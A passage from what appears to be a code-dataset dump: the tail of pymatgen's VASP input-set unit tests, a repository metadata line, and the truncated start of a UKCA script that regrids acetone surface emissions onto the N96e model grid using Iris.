self.TEST_FILES_DIR / "relaxation" # test override_from_prev vis = MPNonSCFSet(_dummy_structure, mode="Boltztrap") vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["ISMEAR"], 0) vis = MPNonSCFSet(_dummy_structure, mode="Uniform") vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["ISMEAR"], -5) # test line mode vis = MPNonSCFSet(_dummy_structure, mode="Line", copy_chgcar=False, user_incar_settings={"SIGMA": 0.025}) vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["NSW"], 0) self.assertEqual(vis.incar["ENCUT"], 600) self.assertEqual(vis.incar["SIGMA"], 0.025) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Reciprocal) vis = MPNonSCFSet(_dummy_structure, mode="Line", copy_chgcar=True) vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["ISMEAR"], 0) vis.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "CHGCAR"))) os.remove(os.path.join(self.tmp, "CHGCAR")) vis = MPNonSCFSet(_dummy_structure, standardize=True, mode="Line", copy_chgcar=True) vis.override_from_prev_calc(prev_calc_dir=prev_run) vis.write_input(self.tmp) self.assertFalse(os.path.exists(os.path.join(self.tmp, "CHGCAR"))) def test_kpoints(self): # test k-points are generated in the correct format prev_run = self.TEST_FILES_DIR / "relaxation" vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, mode="Uniform", copy_chgcar=False) self.assertEqual(np.array(vis.kpoints.kpts).shape, (1, 3)) vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, mode="Line", copy_chgcar=False) self.assertNotEqual(np.array(vis.kpoints.kpts).shape, (1, 3)) vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, mode="Boltztrap", copy_chgcar=False) self.assertNotEqual(np.array(vis.kpoints.kpts).shape, (1, 3)) def test_optics(self): prev_run = self.TEST_FILES_DIR / "relaxation" vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, copy_chgcar=False, optics=True, mode="Uniform", nedos=2001) self.assertEqual(vis.incar["NSW"], 0) # Check that the ENCUT has been inherited. self.assertEqual(vis.incar["ENCUT"], 600) # check NEDOS and ISMEAR set correctly self.assertEqual(vis.incar["NEDOS"], 2001) self.assertEqual(vis.incar["ISMEAR"], -5) self.assertTrue(vis.incar["LOPTICS"]) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Gamma) def test_user_kpoint_override(self): user_kpoints_override = Kpoints( style=Kpoints.supported_modes.Gamma, kpts=((1, 1, 1),)) # the default kpoints style is reciprocal prev_run = self.TEST_FILES_DIR / "relaxation" vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, copy_chgcar=False, optics=True, mode="Uniform", nedos=2001, user_kpoints_settings=user_kpoints_override) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Gamma) def tearDown(self): shutil.rmtree(self.tmp) warnings.simplefilter("default") class MagmomLdauTest(PymatgenTest): def setUp(self): warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_structure_from_prev_run(self): vrun = Vasprun(self.TEST_FILES_DIR / "vasprun.xml.magmom_ldau") structure = vrun.final_structure poscar = Poscar(structure) structure_decorated = get_structure_from_prev_run(vrun) ldau_ans = {'LDAUU': [5.3, 0.0], 'LDAUL': [2, 0], 'LDAUJ': [0.0, 0.0]} magmom_ans = [5.0, 5.0, 5.0, 5.0, 0.6, 0.6, 0.6, 0.6, 0.6, 0.6] ldau_dict = {} for key in ('LDAUU', 'LDAUJ', 'LDAUL'): if hasattr(structure_decorated[0], key.lower()): m = dict( [(site.specie.symbol, getattr(site, key.lower())) for site in structure_decorated]) ldau_dict[key] = [m[sym] for sym in poscar.site_symbols] magmom = [site.magmom for site in structure_decorated] self.assertEqual(ldau_dict, ldau_ans) self.assertEqual(magmom, magmom_ans) def test_ln_magmom(self): YAML_PATH = os.path.join(os.path.dirname(__file__), "../VASPIncarBase.yaml") MAGMOM_SETTING = loadfn(YAML_PATH)["MAGMOM"] structure = Structure.from_file(self.TEST_FILES_DIR / "La4Fe4O12.cif") structure.add_oxidation_state_by_element({"La": +3, "Fe": +3, "O": -2}) for ion in MAGMOM_SETTING: s = structure.copy() s.replace_species({"La3+": ion}) vis = MPRelaxSet(s) fe_pos = vis.poscar.comment.index("Fe") if fe_pos == 0: magmom_ans = [5] * 4 + [MAGMOM_SETTING[ion]] * 4 + [0.6] * 12 else: magmom_ans = [MAGMOM_SETTING[ion]] * 4 + [5] * 4 + [0.6] * 12 self.assertEqual(vis.incar["MAGMOM"], magmom_ans) class MITMDSetTest(PymatgenTest): def setUp(self): filepath = self.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(filepath) self.struct = poscar.structure self.mitmdparam = MITMDSet(self.struct, 300, 1200, 10000) warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_params(self): param = self.mitmdparam syms = param.potcar_symbols self.assertEqual(syms, ['Fe', 'P', 'O']) incar = param.incar self.assertNotIn("LDAUU", incar) self.assertAlmostEqual(incar['EDIFF'], 1e-5) kpoints = param.kpoints self.assertEqual(kpoints.kpts, [(1, 1, 1)]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) def test_as_from_dict(self): d = self.mitmdparam.as_dict() v = dec.process_decoded(d) self.assertEqual(type(v), MITMDSet) self.assertEqual(v._config_dict["INCAR"]["TEBEG"], 300) self.assertEqual(v._config_dict["INCAR"]["PREC"], "Low") class MVLNPTMDSetTest(PymatgenTest): def setUp(self): file_path = self.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(file_path) self.struct = poscar.structure self.mvl_npt_set = MVLNPTMDSet(self.struct, start_temp=0, end_temp=300, nsteps=1000) warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_incar(self): npt_set = self.mvl_npt_set syms = npt_set.potcar_symbols self.assertEqual(syms, ['Fe', 'P', 'O']) incar = npt_set.incar self.assertNotIn("LDAUU", incar) self.assertAlmostEqual(incar['EDIFF'], 1e-5) self.assertEqual(incar["LANGEVIN_GAMMA_L"], 1) self.assertEqual(incar["LANGEVIN_GAMMA"], [10, 10, 10]) enmax = max([npt_set.potcar[i].keywords["ENMAX"] for i in range(self.struct.ntypesp)]) self.assertAlmostEqual(incar["ENCUT"], 1.5 * enmax) self.assertEqual(incar["IALGO"], 48) self.assertEqual(incar["ISIF"], 3) self.assertEqual(incar["MDALGO"], 3) self.assertEqual(incar["SMASS"], 0) self.assertEqual(incar["PREC"], "Low") kpoints = npt_set.kpoints self.assertEqual(kpoints.kpts, [(1, 1, 1)]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) def test_as_from_dict(self): d = self.mvl_npt_set.as_dict() v = dec.process_decoded(d) self.assertEqual(type(v), MVLNPTMDSet) self.assertEqual(v._config_dict["INCAR"]["NSW"], 1000) class MITNEBSetTest(PymatgenTest): def setUp(self): c1 = [[0.5] * 3, [0.9] * 3] c2 = [[0.5] * 3, [0.9, 0.1, 0.1]] s1 = Structure(Lattice.cubic(5), ['Si', 'Si'], c1) s2 = Structure(Lattice.cubic(5), ['Si', 'Si'], c2) structs = [] for s in s1.interpolate(s2, 3, pbc=True): structs.append(Structure.from_sites(s.sites, to_unit_cell=True)) self.structures = structs self.vis = MITNEBSet(self.structures) warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_potcar_symbols(self): syms = self.vis.potcar_symbols self.assertEqual(syms, ['Si']) def test_incar(self): incar = self.vis.incar self.assertNotIn("LDAUU", incar) self.assertAlmostEqual(incar['EDIFF'], 0.00001) def test_kpoints(self): kpoints = self.vis.kpoints self.assertEqual(kpoints.kpts, [[25]]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Automatic) def test_as_from_dict(self): d = self.vis.as_dict() v = dec.process_decoded(d) self.assertEqual(v._config_dict["INCAR"]["IMAGES"], 2) def test_write_input(self): self.vis.write_input(".", write_cif=True, write_endpoint_inputs=True, write_path_cif=True) self.assertTrue(os.path.exists("INCAR")) self.assertTrue(os.path.exists("KPOINTS")) self.assertTrue(os.path.exists("POTCAR")) self.assertTrue(os.path.exists("00/POSCAR")) self.assertTrue(os.path.exists("01/POSCAR")) self.assertTrue(os.path.exists("02/POSCAR")) self.assertTrue(os.path.exists("03/POSCAR")) self.assertFalse(os.path.exists("04/POSCAR")) self.assertTrue(os.path.exists("00/INCAR")) self.assertTrue(os.path.exists("path.cif")) for d in ["00", "01", "02", "03"]: shutil.rmtree(d) for f in ["INCAR", "KPOINTS", "POTCAR", "path.cif"]: os.remove(f) class MPSOCSetTest(PymatgenTest): def setUp(self): warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_from_prev_calc(self): prev_run = self.TEST_FILES_DIR / "fe_monomer" vis = MPSOCSet.from_prev_calc(prev_calc_dir=prev_run, magmom=[3], saxis=(1, 0, 0), user_incar_settings={"SIGMA": 0.025}) self.assertEqual(vis.incar["ISYM"], -1) self.assertTrue(vis.incar["LSORBIT"]) self.assertEqual(vis.incar["ICHARG"], 11) self.assertEqual(vis.incar["SAXIS"], [1, 0, 0]) self.assertEqual(vis.incar["MAGMOM"], [[0, 0, 3]]) self.assertEqual(vis.incar['SIGMA'], 0.025) def test_override_from_prev_calc(self): # test override_from_prev_calc prev_run = self.TEST_FILES_DIR / "fe_monomer" vis = MPSOCSet(_dummy_structure, magmom=[3], saxis=(1, 0, 0), user_incar_settings={"SIGMA": 0.025}) vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["ISYM"], -1) self.assertTrue(vis.incar["LSORBIT"]) self.assertEqual(vis.incar["ICHARG"], 11) self.assertEqual(vis.incar["SAXIS"], [1, 0, 0]) self.assertEqual(vis.incar["MAGMOM"], [[0, 0, 3]]) self.assertEqual(vis.incar['SIGMA'], 0.025) class MPNMRSetTest(PymatgenTest): def setUp(self): warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_incar(self): filepath = self.TEST_FILES_DIR / 'Li.cif' structure = Structure.from_file(filepath) vis = MPNMRSet(structure) self.assertTrue(vis.incar.get("LCHIMAG", None)) self.assertEqual(vis.incar.get("QUAD_EFG", None), None) vis = MPNMRSet(structure, mode="efg") self.assertFalse(vis.incar.get("LCHIMAG", None)) self.assertEqual(vis.incar.get("QUAD_EFG", None), [-0.808]) vis = MPNMRSet(structure, mode="efg", isotopes=["Li-7"]) self.assertFalse(vis.incar.get("LCHIMAG", None)) self.assertEqual(vis.incar.get("QUAD_EFG", None), [-40.1]) class MVLSlabSetTest(PymatgenTest): def setUp(self): s = self.get_structure("Li2O") gen = SlabGenerator(s, (1, 0, 0), 10, 10) self.slab = gen.get_slab() self.bulk = self.slab.oriented_unit_cell vis_bulk = MVLSlabSet(self.bulk, bulk=True) vis = MVLSlabSet(self.slab) vis_dipole = MVLSlabSet(self.slab, auto_dipole=True) self.d_bulk = vis_bulk.get_vasp_input() self.d_slab = vis.get_vasp_input() self.d_dipole = vis_dipole.get_vasp_input() self.vis = vis warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_user_incar_settings(self): # Make sure user incar settings properly override AMIX. si = self.get_structure('Si') vis = MVLSlabSet(si, user_incar_settings={"AMIX": 0.1}) self.assertEqual(vis.incar["AMIX"], 0.1) def test_bulk(self): incar_bulk = self.d_bulk["INCAR"] poscar_bulk = self.d_bulk["POSCAR"] self.assertEqual(incar_bulk["ISIF"], 3) self.assertEqual(incar_bulk["EDIFF"], 1e-4) self.assertEqual(incar_bulk["EDIFFG"], -0.02) self.assertEqual(poscar_bulk.structure.formula, self.bulk.formula) def test_slab(self): incar_slab = self.d_slab["INCAR"] poscar_slab = self.d_slab["POSCAR"] potcar_slab = self.d_slab["POTCAR"] self.assertEqual(incar_slab["AMIN"], 0.01) self.assertEqual(incar_slab["AMIX"], 0.2) self.assertEqual(incar_slab["BMIX"], 0.001) self.assertEqual(incar_slab["NELMIN"], 8) # No volume relaxation during slab calculations self.assertEqual(incar_slab["ISIF"], 2) self.assertEqual(potcar_slab.functional, 'PBE') self.assertEqual(potcar_slab.symbols[1], u'O') self.assertEqual(potcar_slab.symbols[0], u'Li_sv') self.assertEqual(poscar_slab.structure.formula, self.slab.formula) # Test auto-dipole dipole_incar = self.d_dipole["INCAR"] self.assertTrue(dipole_incar["LDIPOL"]) self.assertArrayAlmostEqual(dipole_incar["DIPOL"], [0.2323, 0.2323, 0.2165], decimal=4) self.assertEqual(dipole_incar["IDIPOL"], 3) def test_kpoints(self): kpoints_slab = self.d_slab["KPOINTS"].kpts[0] kpoints_bulk = self.d_bulk["KPOINTS"].kpts[0] self.assertEqual(kpoints_bulk[0], kpoints_slab[0]) self.assertEqual(kpoints_bulk[1], kpoints_slab[1]) self.assertEqual(kpoints_bulk[0], 15) self.assertEqual(kpoints_bulk[1], 15) self.assertEqual(kpoints_bulk[2], 15) # The last kpoint in a slab should always be 1 self.assertEqual(kpoints_slab[2], 1) def test_as_dict(self): vis_dict = self.vis.as_dict() new = MVLSlabSet.from_dict(vis_dict) class MVLElasticSetTest(PymatgenTest): def setUp(self): warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_incar(self): mvlparam = MVLElasticSet(self.get_structure("Graphite")) incar = mvlparam.incar self.assertEqual(incar["IBRION"], 6) self.assertEqual(incar["NFREE"], 2) self.assertEqual(incar["POTIM"], 0.015) self.assertNotIn("NPAR", incar) class MVLGWSetTest(PymatgenTest): def setUp(self): self.tmp = tempfile.mkdtemp() self.s = PymatgenTest.get_structure("Li2O") warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") shutil.rmtree(self.tmp) def test_static(self): mvlgwsc = MVLGWSet(self.s) incar = mvlgwsc.incar self.assertEqual(incar["SIGMA"], 0.01) kpoints = mvlgwsc.kpoints self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) symbols = mvlgwsc.potcar.symbols self.assertEqual(symbols, ["Li_sv_GW", "O_GW"]) def test_diag(self): prev_run = self.TEST_FILES_DIR / "relaxation" mvlgwdiag = MVLGWSet.from_prev_calc(prev_run, copy_wavecar=True, mode="diag") mvlgwdiag.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVECAR"))) self.assertEqual(mvlgwdiag.incar["NBANDS"], 32) self.assertEqual(mvlgwdiag.incar["ALGO"], "Exact") self.assertTrue(mvlgwdiag.incar["LOPTICS"]) # test override_from_prev_calc mvlgwdiag = MVLGWSet(_dummy_structure, copy_wavecar=True, mode="diag") mvlgwdiag.override_from_prev_calc(prev_calc_dir=prev_run) mvlgwdiag.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVECAR"))) self.assertEqual(mvlgwdiag.incar["NBANDS"], 32) self.assertEqual(mvlgwdiag.incar["ALGO"], "Exact") self.assertTrue(mvlgwdiag.incar["LOPTICS"]) def test_bse(self): prev_run = self.TEST_FILES_DIR / "relaxation" mvlgwgbse = MVLGWSet.from_prev_calc(prev_run, copy_wavecar=True, mode="BSE") mvlgwgbse.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVECAR"))) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVEDER"))) prev_run = self.TEST_FILES_DIR / "relaxation" mvlgwgbse = MVLGWSet.from_prev_calc(prev_run, copy_wavecar=False, mode="GW") self.assertEqual(mvlgwgbse.incar["NOMEGA"], 80) self.assertEqual(mvlgwgbse.incar["ENCUTGW"], 250) self.assertEqual(mvlgwgbse.incar["ALGO"], "GW0") mvlgwgbse1 = MVLGWSet.from_prev_calc(prev_run, copy_wavecar=False, mode="BSE") self.assertEqual(mvlgwgbse1.incar["ANTIRES"], 0) self.assertEqual(mvlgwgbse1.incar["NBANDSO"], 20) self.assertEqual(mvlgwgbse1.incar["ALGO"], "BSE") # test override_from_prev_calc prev_run = self.TEST_FILES_DIR / "relaxation" mvlgwgbse = MVLGWSet(_dummy_structure, copy_wavecar=True, mode="BSE") mvlgwgbse.override_from_prev_calc(prev_calc_dir=prev_run) mvlgwgbse.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVECAR"))) self.assertTrue(os.path.exists(os.path.join(self.tmp, "WAVEDER"))) prev_run = self.TEST_FILES_DIR / "relaxation" mvlgwgbse = MVLGWSet(_dummy_structure, copy_wavecar=True, mode="GW") mvlgwgbse.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(mvlgwgbse.incar["NOMEGA"], 80) self.assertEqual(mvlgwgbse.incar["ENCUTGW"], 250) self.assertEqual(mvlgwgbse.incar["ALGO"], "GW0") mvlgwgbse1 = MVLGWSet(_dummy_structure, copy_wavecar=False, mode="BSE") mvlgwgbse1.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(mvlgwgbse1.incar["ANTIRES"], 0) self.assertEqual(mvlgwgbse1.incar["NBANDSO"], 20) self.assertEqual(mvlgwgbse1.incar["ALGO"], "BSE") class MPHSEBSTest(PymatgenTest): def setUp(self): self.tmp = tempfile.mkdtemp() warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_init(self): prev_run = self.TEST_FILES_DIR / "static_silicon" vis = MPHSEBSSet.from_prev_calc(prev_calc_dir=prev_run, mode="uniform") self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(len(vis.kpoints.kpts), 16) vis = MPHSEBSSet.from_prev_calc(prev_calc_dir=prev_run, mode="gap") self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(len(vis.kpoints.kpts), 18) vis = MPHSEBSSet.from_prev_calc(prev_calc_dir=prev_run, mode="line") self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(vis.incar['HFSCREEN'], 0.2) self.assertEqual(vis.incar['NSW'], 0) self.assertEqual(vis.incar['ISYM'], 3) self.assertEqual(len(vis.kpoints.kpts), 180) def test_override_from_prev_calc(self): prev_run = self.TEST_FILES_DIR / "static_silicon" vis = MPHSEBSSet(_dummy_structure, mode="uniform") vis = vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(len(vis.kpoints.kpts), 16) vis = MPHSEBSSet(_dummy_structure, mode="gap") vis = vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(len(vis.kpoints.kpts), 18) vis = MPHSEBSSet(_dummy_structure, mode="line") vis = vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertTrue(vis.incar["LHFCALC"]) self.assertEqual(vis.incar['HFSCREEN'], 0.2) self.assertEqual(vis.incar['NSW'], 0) self.assertEqual(vis.incar['ISYM'], 3) self.assertEqual(len(vis.kpoints.kpts), 180) class MVLScanRelaxSetTest(PymatgenTest): def setUp(self): file_path = self.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(file_path) self.struct = poscar.structure self.mvl_scan_set = MVLScanRelaxSet(self.struct, potcar_functional="PBE_52", user_incar_settings={"NSW": 500}) warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_incar(self): incar = self.mvl_scan_set.incar self.assertIn("METAGGA", incar) self.assertIn("LASPH", incar) self.assertIn("ADDGRID", incar) self.assertEqual(incar["NSW"], 500) # Test SCAN+rVV10 scan_rvv10_set = MVLScanRelaxSet(self.struct, vdw="rVV10") self.assertEqual(scan_rvv10_set.incar["BPARAM"], 15.7) def test_potcar(self): self.assertEqual(self.mvl_scan_set.potcar.functional, "PBE_52") test_potcar_set_1 = MVLScanRelaxSet( self.struct, potcar_functional="PBE_54") self.assertEqual(test_potcar_set_1.potcar.functional, "PBE_54") self.assertRaises(ValueError, MVLScanRelaxSet, self.struct, potcar_functional="PBE") def test_as_from_dict(self): d = self.mvl_scan_set.as_dict() v = dec.process_decoded(d) self.assertEqual(type(v), MVLScanRelaxSet) self.assertEqual(v._config_dict["INCAR"]["METAGGA"], "SCAN") self.assertEqual(v.user_incar_settings["NSW"], 500) class FuncTest(PymatgenTest): def test_batch_write_input(self): structures = [PymatgenTest.get_structure("Li2O"), PymatgenTest.get_structure("LiFePO4")] batch_write_input(structures) for d in ['Li4Fe4P4O16_1', 'Li2O1_0']: for f in ["INCAR", "KPOINTS", "POSCAR", "POTCAR"]: self.assertTrue(os.path.exists(os.path.join(d, f))) for d in ['Li4Fe4P4O16_1', 'Li2O1_0']: shutil.rmtree(d) class MVLGBSetTest(PymatgenTest): def setUp(self): filepath = self.TEST_FILES_DIR / 'Li.cif' self.s = Structure.from_file(filepath) self.bulk = MVLGBSet(self.s) self.slab = MVLGBSet(self.s, slab_mode=True) self.d_bulk = self.bulk.get_vasp_input() self.d_slab = self.slab.get_vasp_input() warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_bulk(self): incar_bulk = self.d_bulk["INCAR"] self.assertEqual(incar_bulk["ISIF"], 3) def test_slab(self): incar_slab = self.d_slab["INCAR"] self.assertEqual(incar_slab["ISIF"], 2) def test_kpoints(self): kpoints = self.d_slab["KPOINTS"] k_a = int(40 / (self.s.lattice.abc[0]) + 0.5) k_b = int(40 / (self.s.lattice.abc[1]) + 0.5) self.assertEqual(kpoints.kpts, [[k_a, k_b, 1]]) class MVLRelax52SetTest(PymatgenTest): def setUp(self): file_path = self.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(file_path) self.struct = poscar.structure self.mvl_rlx_set = MVLRelax52Set( self.struct, potcar_functional="PBE_54", user_incar_settings={"NSW": 500}) warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_incar(self): incar = self.mvl_rlx_set.incar self.assertIn("NSW", incar) self.assertEqual(incar["LREAL"], "Auto") def test_potcar(self): self.assertEqual(self.mvl_rlx_set.potcar.functional, "PBE_54") self.assertIn("Fe", self.mvl_rlx_set.potcar.symbols) self.struct.remove_species(["Fe"]) test_potcar_set_1 = MVLRelax52Set(self.struct, potcar_functional="PBE_52") self.assertEqual(test_potcar_set_1.potcar.functional, "PBE_52") self.assertRaises(ValueError, MVLRelax52Set, self.struct, potcar_functional="PBE") def test_as_from_dict(self): d = self.mvl_rlx_set.as_dict() v = dec.process_decoded(d) self.assertEqual(type(v), MVLRelax52Set) self.assertEqual(v.incar["NSW"], 500) class LobsterSetTest(PymatgenTest): # TODO: what kind of tests should I write for this? def setUp(self): file_path = self.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(file_path) self.struct = poscar.structure # test for different parameters! self.lobsterset1 = LobsterSet(self.struct, isym=-1, ismear=-5) self.lobsterset2 = LobsterSet(self.struct, isym=0, ismear=0) # only allow isym=-1 and isym=0 with self.assertRaises(ValueError): self.lobsterset_new = LobsterSet(self.struct, isym=2, ismear=0) # only allow ismear=-5 and ismear=0 with self.assertRaises(ValueError): self.lobsterset_new = LobsterSet(self.struct, isym=-1, ismear=2) # test if one can still hand over grid density of kpoints self.lobsterset3 = LobsterSet(self.struct, isym=0, ismear=0, user_kpoints_settings={"grid_density": 6000}) # check if users can overwrite settings in this class with the help of user_incar_settings self.lobsterset4 = LobsterSet(self.struct, user_incar_settings={"ALGO": "Fast"}) # use basis functions supplied by user self.lobsterset5 = LobsterSet(self.struct, user_supplied_basis={"Fe": "3d 3p 4s", "P": "3p 3s", "O": "2p 2s"}) with self.assertRaises(ValueError): self.lobsterset6 = LobsterSet(self.struct, user_supplied_basis={"Fe": "3d 3p 4s", "P": "3p 3s"}) def test_incar(self): incar1 = self.lobsterset1.incar self.assertIn("NBANDS", incar1) self.assertEqual(incar1["NBANDS"], 116) self.assertEqual(incar1["NSW"], 0) self.assertEqual(incar1["NSW"], 0) self.assertEqual(incar1["ISMEAR"], -5) self.assertEqual(incar1["ISYM"], -1) self.assertEqual(incar1["ALGO"], "Normal") incar2 = self.lobsterset2.incar self.assertEqual(incar2["ISYM"], 0) self.assertEqual(incar2["ISMEAR"], 0) incar4 = self.lobsterset4.incar self.assertEqual(incar4["ALGO"], "Fast") def test_kpoints(self): kpoints1 = self.lobsterset1.kpoints self.assertTrue(kpoints1.comment.split(" ")[6], 6138) kpoints2 = self.lobsterset2.kpoints self.assertTrue(kpoints2.comment.split(" ")[6], 6138) kpoints3 = self.lobsterset3.kpoints self.assertTrue(kpoints3.comment.split(" ")[6], 6000) def test_potcar(self): # PBE_54 is preferred at the moment self.assertEqual(self.lobsterset1.potcar_functional, "PBE_54") def test_as_from_dict(self): dict_here = self.lobsterset1.as_dict() lobsterset_new = LobsterSet.from_dict(dict_here) # test relevant parts again incar1 = lobsterset_new.incar self.assertIn("NBANDS", incar1) self.assertEqual(incar1["NBANDS"], 116) self.assertEqual(incar1["NSW"], 0) self.assertEqual(incar1["NSW"], 0) self.assertEqual(incar1["ISMEAR"], -5) self.assertEqual(incar1["ISYM"], -1) self.assertEqual(incar1["ALGO"], "Normal") kpoints1 = lobsterset_new.kpoints self.assertTrue(kpoints1.comment.split(" ")[6], 6138) self.assertEqual(lobsterset_new.potcar_functional, "PBE_54") _dummy_structure = Structure([1, 0, 0, 0, 1, 0, 0, 0, 1], ['I'], [[0, 0, 0]], site_properties={"magmom": [[0, 0, 1]]}) if __name__ == '__main__': unittest.main()
tschaume/pymatgen
pymatgen/io/vasp/tests/test_sets.py
Python
mit
48,881
[ "BoltzTrap", "VASP", "pymatgen" ]
a2a146db8fb1b98282de2cfce59087eb17291db8a9e4a70e07a7ac533f9968b4
#!/usr/bin/env python ############################################################################################## # # # regrid_emissions_N96e.py # # # Requirements: # Iris 1.10, cf_units, numpy # # # This Python script has been written by N.L. Abraham as part of the UKCA Tutorials: # http://www.ukca.ac.uk/wiki/index.php/UKCA_Chemistry_and_Aerosol_Tutorials_at_vn10.4 # # Copyright (C) 2015 University of Cambridge # # This is free software: you can redistribute it and/or modify it under the # terms of the GNU Lesser General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # It is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. # # You find a copy of the GNU Lesser General Public License at <http://www.gnu.org/licenses/>. # # Written by N. Luke Abraham 2016-10-20 <nla27@cam.ac.uk> # # ############################################################################################## # preamble import os import time import iris import cf_units import numpy # --- CHANGE THINGS BELOW THIS LINE TO WORK WITH YOUR FILES ETC. --- # name of file containing an ENDGame grid, e.g. your model output # NOTE: all the fields in the file should be on the same horizontal # grid, as the field used MAY NOT be the first in order of STASH grid_file='/group_workspaces/jasmin2/ukca/vol1/mkoehler/um/archer/ag542/apm.pp/ag542a.pm1988dec' # # name of emissions file emissions_file='/group_workspaces/jasmin2/ukca/vol1/mkoehler/emissions/combined_1960/0.5x0.5/combined_sources_Me2CO_lumped_1960_360d.nc' # # STASH code emissions are associated with # 301-320: surface # m01s00i307: Me2CO surface emissions # # 321-340: full atmosphere # stash='m01s00i307' # --- BELOW THIS LINE, NOTHING SHOULD NEED TO BE CHANGED --- species_name='Me2CO' # this is the grid we want to regrid to, e.g. N96 ENDGame grd=iris.load(grid_file)[0] grd.coord(axis='x').guess_bounds() grd.coord(axis='y').guess_bounds() # This is the original data ems=iris.load_cube(emissions_file) # make intersection between 0 and 360 longitude to ensure that # the data is regridded correctly nems = ems.intersection(longitude=(0, 360)) # make sure that we use the same coordinate system, otherwise regrid won't work nems.coord(axis='x').coord_system=grd.coord_system() nems.coord(axis='y').coord_system=grd.coord_system() # now guess the bounds of the new grid prior to regridding nems.coord(axis='x').guess_bounds() nems.coord(axis='y').guess_bounds() # now regrid ocube=nems.regrid(grd,iris.analysis.AreaWeighted()) # now add correct attributes and names to netCDF file ocube.var_name='emissions_'+str.strip(species_name) ocube.long_name=str.strip(species_name)+' surf emissions' ocube.units=cf_units.Unit('kg m-2 s-1') ocube.attributes['vertical_scaling']='surface' ocube.attributes['um_stash_source']=stash ocube.attributes['tracer_name']=str.strip(species_name) # global attributes, so don't set in local_keys # NOTE: all these should be strings, including the numbers! # basic emissions type ocube.attributes['lumped_species']='acetone and other ketones' ocube.attributes['emission_type']='2' # periodic time series ocube.attributes['update_type']='2' # same as above ocube.attributes['update_freq_in_hours']='120' # i.e. 5 days ocube.attributes['um_version']='10.6' # UM version ocube.attributes['source']='combined_sources_Me2CO_lumped_1960_360d.nc' ocube.attributes['title']='Monthly surface emissions of acetone lumped with other ketones for 1960' ocube.attributes['File_version']='v1' ocube.attributes['File_creation_date']=time.ctime(time.time()) ocube.attributes['grid']='regular 1.875 x 1.25 degree longitude-latitude grid (N96e)' ocube.attributes['history']=time.ctime(time.time())+': '+__file__+' \n'+ocube.attributes['history'] ocube.attributes['institution']='Centre for Atmospheric Science, Department of Chemistry, University of Cambridge, U.K.' ocube.attributes['reference']='Granier et al., Clim. Change, 2011; Lamarque et al., Atmos. Chem. Phys., 2010' del ocube.attributes['NCO'] del ocube.attributes['file_creation_date'] del ocube.attributes['description'] # rename and set time coord - mid-month from 1960-Jan to 2020-Dec # this bit is annoyingly fiddly ocube.coord(axis='t').var_name='time' ocube.coord(axis='t').standard_name='time' ocube.coords(axis='t')[0].units=cf_units.Unit('days since 1960-01-01 00:00:00', calendar='360_day') ocube.coord(axis='t').points=numpy.array([15, 45, 75, 105, 135, 165, 195, 225, 255, 285, 315, 345]) # make z-direction. zdims=iris.coords.DimCoord(numpy.array([0]),standard_name = 'model_level_number', units='1',attributes={'positive':'up'}) ocube.add_aux_coord(zdims) ocube=iris.util.new_axis(ocube, zdims) # now transpose cube to put Z 2nd ocube.transpose([1,0,2,3]) # make coordinates 64-bit 